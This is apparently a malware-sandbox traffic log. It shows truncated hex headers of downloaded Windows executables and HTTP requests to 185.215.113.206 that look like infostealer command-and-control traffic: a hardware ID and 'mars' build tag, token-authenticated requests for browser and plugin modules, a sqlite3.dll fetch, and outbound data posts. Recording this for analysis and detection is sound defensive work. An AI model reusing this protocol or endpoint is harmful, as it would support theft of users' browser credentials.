00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 21:05:00 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 21:05:01 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 21:05:07 GMTContent-Type: application/octet-streamContent-Length: 1927680Last-Modified: Thu, 21 Nov 2024 20:48:33 GMTConnection: keep-aliveETag: "673f9ca1-1d6a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 70 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4c 00 00 04 00 00 66 a6 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 5b 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 5b 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2b 00 00 b0 06 00 00 02 00 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 6a 6d 70 75 6a 6c 63 00 50 1a 00 00 10 32 00 00 4c 1a 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 6c 68 62 63 7a 6a 71 00 10 00 00 00 60 4c 00 00 04 00 00 00 44 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4c 00 00 22 00 00 00 48 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 21:06:11 GMTContent-Type: application/octet-streamContent-Length: 1478320Last-Modified: Thu, 21 Nov 2024 17:53:29 GMTConnection: keep-aliveETag: "673f7399-168eb0"Accept-Ranges: bytesData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 54 b8 c4 4f 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 50 01 00 00 d2 00 00 00 00 00 00 78 64 01 00 00 10 00 00 00 70 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 d0 02 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 9e 0f 00 00 00 10 02 00 d8 b1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 e3 01 00 4c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f8 43 01 00 00 10 00 00 00 44 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 e8 0b 00 00 00 60 01 00 00 0c 00 00 00 48 01 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 9c 0d 00 00 00 70 01 00 00 0e 00 00 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 4c 57 00 00 00 80 01 00 00 00 00 00 00 62 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 9e 0f 00 00 00 e0 01 00 00 10 00 00 00 62 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 f0 01 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 00 02 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 d8 b1 00 00 00 10 02 00 00 b2 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 02 00 00 00 00 00 00 26 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 21:06:19 GMTContent-Type: application/octet-streamContent-Length: 4424192Last-Modified: Thu, 21 Nov 2024 20:21:11 GMTConnection: keep-aliveETag: "673f9637-438200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 20 c6 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 50 c6 00 00 04 00 00 ea c5 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 0e c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 39 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 67 7a 71 75 6a 78 6f 00 d0 1b 00 00 40 aa 00 00 d0 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6b 72 62 6b 67 68 67 00 10 00 00 00 10 c6 00 00 04 00 00 00 5c 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 c6 00 00 22 00 00 00 60 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCBKFBGIIIECAAAKFCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 44 46 44 44 32 45 35 35 41 39 32 31 32 37 33 37 30 37 38 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 2d 2d 0d 0a Data Ascii: ------CBGCBKFBGIIIECAAAKFCContent-Disposition: form-data; name="hwid"90DFDD2E55A92127370785------CBGCBKFBGIIIECAAAKFCContent-Disposition: form-data; name="build"mars------CBGCBKFBGIIIECAAAKFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDHDHJEBGHJKFIECBGCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 35 66 63 31 37 62 31 34 39 66 62 62 32 34 65 38 66 64 34 61 66 30 36 35 63 30 66 32 37 64 63 63 37 66 32 36 34 65 32 65 34 61 37 31 64 35 36 30 35 36 33 65 65 64 33 38 33 63 64 33 39 37 31 34 39 38 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 2d 2d 0d 0a Data Ascii: ------CGDHDHJEBGHJKFIECBGCContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------CGDHDHJEBGHJKFIECBGCContent-Disposition: form-data; name="message"browsers------CGDHDHJEBGHJKFIECBGC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJKKKFCFHCFIECBGDHIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 35 66 63 31 37 62 31 34 39 66 62 62 32 34 65 38 66 64 34 61 66 30 36 35 63 30 66 32 37 64 63 63 37 66 32 36 34 65 32 65 34 61 37 31 64 35 36 30 35 36 33 65 65 64 33 38 33 63 64 33 39 37 31 34 39 38 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 2d 2d 0d 0a Data Ascii: ------GIJKKKFCFHCFIECBGDHIContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------GIJKKKFCFHCFIECBGDHIContent-Disposition: form-data; name="message"plugins------GIJKKKFCFHCFIECBGDHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHJKJKKJDHIDHJKJDBGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 35 66 63 31 37 62 31 34 39 66 62 62 32 34 65 38 66 64 34 61 66 30 36 35 63 30 66 32 37 64 63 63 37 66 32 36 34 65 32 65 34 61 37 31 64 35 36 30 35 36 33 65 65 64 33 38 33 63 64 33 39 37 31 34 39 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 47 2d 2d 0d 0a Data Ascii: ------EGHJKJKKJDHIDHJKJDBGContent-Disposition: form-data; name="token"406fbb5fc17b149fbb24e8fd4af065c0f27dcc7f264e2e4a71d560563eed383cd3971498------EGHJKJKKJDHIDHJKJDBGContent-Disposition: form-data; name="message"fplugins------EGHJKJKKJDHIDHJKJDBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFCFIEBKEGHIDGCAFBFHost: 185.215.113.206Content-Length: 7555Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEHDHDAKJEBGCBKKJEHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 36 66 62 62 35 66 63 31 37 62 31 34 39 66 62 62 32 34 65 38 66 64 34 61 66 30 36 35 63 30 66 32 37 64 63 63 37 66 32 36 34 65 32 65 34 61 37 31 64 35 36 30 35 36 33 65 65 64 33 38 33 63 64 33 39 37 31 34 39 38 0d 0a 2d 2d 